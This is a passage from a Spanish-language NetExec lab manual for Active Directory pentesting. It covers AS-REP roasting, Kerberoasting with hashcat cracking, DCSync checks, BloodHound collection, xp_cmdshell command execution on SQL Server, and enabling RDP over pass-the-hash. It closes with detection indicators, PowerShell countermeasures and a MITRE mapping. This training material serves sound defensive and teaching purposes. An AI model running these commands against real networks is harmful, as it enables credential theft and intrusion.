# Buscar usuarios con descripcion (frecuentemente con contrasenas): nxc ldap 192.168.56.10 -u jdoe -p Password123 --users | grep -i 'description' # Buscar cuentas sin Kerberos pre-auth (AS-REP Roastable): nxc ldap 192.168.56.10 -u jdoe -p Password123 --asreproast hashes_asrep.txt # Crackear con Hashcat: hashcat -m 18200 hashes_asrep.txt /usr/share/wordlists/rockyou.txt # Kerberoasting (cuentas de servicio con SPN): nxc ldap 192.168.56.10 -u jdoe -p Password123 --kerberoasting hashes_kerb.txt # Crackear con Hashcat: hashcat -m 13100 hashes_kerb.txt /usr/share/wordlists/rockyou.txt # Ver quien puede hacer DCSync (tiene privilegios de replicacion): nxc ldap 192.168.56.10 -u jdoe -p Password123 -M dcsync # Trusted Domains y forest trusts: nxc ldap 192.168.56.10 -u jdoe -p Password123 --trusted-for-delegation
3
BloodHound data collectionBLOODHOUND
Recopilar datos para BloodHound
# BloodHound muestra graficamente las rutas de escalada de privilegios en AD # NetExec puede recopilar todos los datos necesarios automaticamente: nxc ldap 192.168.56.10 -u jdoe -p Password123 \ --bloodhound \ --collection All # Opciones de coleccion: # All : todo (mas completo, mas ruidoso) # DCOnly: solo desde el DC (mas silencioso) # Session: sesiones activas de usuarios # Default: lo basico # Genera un archivo .zip en el directorio actual: # 20241201120000_BloodHound.zip # Importar en BloodHound GUI para visualizar rutas de ataque
📊
Ejercicio 9 — MSSQL y RDP
SQL Server: ejecución OS via xp_cmdshell y verificación de acceso RDP
1
Auditoría de SQL ServerMSSQL
NetExec contra SQL Server (MSSQL)
# Descubrir SQL Servers en la red: nxc mssql 192.168.56.0/24 # Autenticar con credenciales Windows (Kerberos): nxc mssql 192.168.56.15 -u jdoe -p Password123 -d CONTOSO.LOCAL # Autenticar con cuenta SQL: nxc mssql 192.168.56.15 -u sa -p 'SqlAdmin2024!' # Ejecutar query SQL: nxc mssql 192.168.56.15 -u jdoe -p Password123 --query 'SELECT @@version' nxc mssql 192.168.56.15 -u jdoe -p Password123 --query 'SELECT name FROM sys.databases' # Habilitar xp_cmdshell para ejecutar comandos OS: nxc mssql 192.168.56.15 -u sa -p Password -x 'whoami' # NetExec habilita xp_cmdshell automaticamente si tiene permisos sysadmin # Verificar si es sysadmin: nxc mssql 192.168.56.15 -u jdoe -p Password123 --query 'SELECT IS_SRVROLEMEMBER("sysadmin")'
2
Verificar acceso RDPRDP
RDP con NetExec
# Verificar que equipos tienen RDP abierto y aceptan nuestras credenciales: nxc rdp 192.168.56.0/24 -u jdoe -p Password123 # Tomar screenshot del escritorio remoto (sin interactuar): nxc rdp 192.168.56.20 -u jdoe -p Password123 --screenshot # NLA (Network Level Authentication): si esta habilitado, necesitas # credenciales validas antes de ver la pantalla de login # Habilitar RDP en un equipo comprometido via SMB: nxc smb 192.168.56.20 -u Administrator -H NTHASH -x \ 'reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0 /f' # Verificar acceso con PtH: nxc rdp 192.168.56.20 -u Administrator -H NTHASH
🛡
Detección y Defensa contra NetExec
Cómo identificar y mitigar los ataques realizados con NetExec
🔍INDICADORES DE COMPROMI­SO (IoCs) DE NETEXEC
TécnicaIndicador en logsEvent ID / Fuente
Escaneo SMBMúltiples intentos de conexión SMB desde una IP en segundosEvent ID 4625, 5156 (Firewall)
Password SprayingFallos de auth del mismo usuario en intervalos regulares desde una IPEvent ID 4625 (Security)
Pass-the-HashLogon Type 3 con NTLMv2, LogonProcess=NtLmSsp desde IP inesperadaEvent ID 4624 (Security)
Ejecución wmiexecWMI queries, proceso WMIC.exe desde cuenta de redEvent ID 4688, Sysmon ID 1
SAM DumpAcceso a HKLM\SAM, creacion de shadow copyEvent ID 4656, Sysmon ID 13
DCSyncReplicación LDAP desde IP que no es un DCEvent ID 4662 (DC Security)
KerberoastingMuchas solicitudes TGS con RC4 encryption en poco tiempoEvent ID 4769 (DC Security)
🛡CONTRAMEDIDAS PRINCIPALES
Contramedidas en PowerShell (Windows)
# 1. Habilitar SMB Signing (previene relay, dificulta autenticacion) # Via GPO: Computer Config -> Windows Settings -> Security Settings # -> Local Policies -> Security Options # -> 'Microsoft network server: Digitally sign communications (always)' = Enabled # 2. Habilitar Firewall para SMB (bloquear 445 entre endpoints) # Solo permitir SMB desde servers de administracion New-NetFirewallRule -DisplayName 'Block SMB between workstations' \ -Direction Inbound -LocalPort 445 -Protocol TCP -Action Block \ -RemoteAddress 192.168.56.0/24 # Ajustar segun la red # 3. Instalar LAPS (Local Administrator Password Solution) # Cada equipo tiene un password unico para el admin local # Elimina el movimiento lateral horizontal con PtH # Descargar: LAPS.x64.msi desde Microsoft # 4. Habilitar Protected Users (Kerberos-only, sin NTLM) Add-ADGroupMember -Identity 'Protected Users' -Members 'Domain Admins' # 5. Restringir WinRM a hosts de administracion especificos Set-Item WSMan:\localhost\Client\TrustedHosts -Value '192.168.56.100' # 6. Deshabilitar NTLMv1 completamente # GPO: Network security: LAN Manager authentication level # -> Send NTLMv2 response only. Refuse LM & NTLM
📚
Módulos de NetExec (--module)
Funcionalidades extendidas para casos de uso específicos
Listar y usar modulos de NetExec
# Ver todos los modulos disponibles para SMB: nxc smb -L # Ver todos los modulos de LDAP: nxc ldap -L # Obtener informacion sobre un modulo especifico: nxc smb -M gpp_password --options # Uso generico de un modulo: nxc smb IP -u user -p pass -M nombre_modulo
📚MÓDULOS MÁS ÚTILES
ModuloProtocoloDescripciónEjemplo
gpp_passwordSMBBusca contraseñas en GPP (SYSVOL)-M gpp_password
gpp_autologinSMBBusca credenciales de autologin en GPOs-M gpp_autologin
spider_plusSMBInventario completo de shares en CSV-M spider_plus
lapsSMB/LDAPLee contraseñas LAPS del AD-M laps
ntdsSMBVuelca el NTDS.dit del DC-M ntds
dcsyncLDAPVerifica qué cuentas tienen permisos DCSync-M dcsync
bloodhoundLDAPRecopila datos para BloodHound--bloodhound
zerologonSMBVerifica vulnerabilidad ZeroLogon (CVE-2020-1472)-M zerologon
petitpotamSMBVerifica vulnerabilidad PetitPotam-M petitpotam
printnightmareSMBVerifica PrintNightmare (CVE-2021-1675)-M printnightmare
ms17-010SMBVerifica EternalBlue (SMB sin parchear)-M ms17-010
coerce_plusSMBFuerza autenticación NTLM (varios metodos)-M coerce_plus
enum_avSMBDetecta antivirus instalado en el host-M enum_av
impersonateSMBImpersonaliza token de otro usuario-M impersonate
🏆
MITRE ATT&CK Mapping
Técnicas cubiertas por NetExec en el framework MITRE
TácticaID MITRETécnicaEjercicio
DiscoveryT1018Remote System DiscoveryEj 1: Escaneo de red
DiscoveryT1083File and Directory DiscoveryEj 2: Spider de shares
DiscoveryT1087.002Account Discovery: Domain AccountEj 3: --users --groups
Credential AccessT1110.003Brute Force: Password SprayingEj 4: Password Spraying
Lateral MovementT1550.002Pass the HashEj 5: Pass-the-Hash masivo
ExecutionT1047Windows Management InstrumentationEj 6: wmiexec
ExecutionT1059.001PowerShellEj 6: -X scripts PS
Credential AccessT1003.002OS Credential Dumping: SAMEj 7: --sam
Credential AccessT1003.004OS Credential Dumping: LSA SecretsEj 7: --lsa
Credential AccessT1003.003OS Credential Dumping: NTDSEj 7: --ntds
Credential AccessT1558.003Steal or Forge Kerberos Tickets: KerberoastingEj 8: --kerberoasting
Credential AccessT1558.004AS-REP RoastingEj 8: --asreproast
✓ CONCLUSIÓN DEL LABORATORIOHas completado el manual completo de NetExec. Esta herramienta centraliza en un único comando las tareas de enumeración, autenticación y explotación en redes Windows que antes requerían docenas de herramientas distintas. Es imprescindible en las certificaciones OSCP, PNPT y CEH y en cualquier auditoría profesional de Active Directory. Practica siempre en entornos de laboratorio autorizados.
✓ Copiado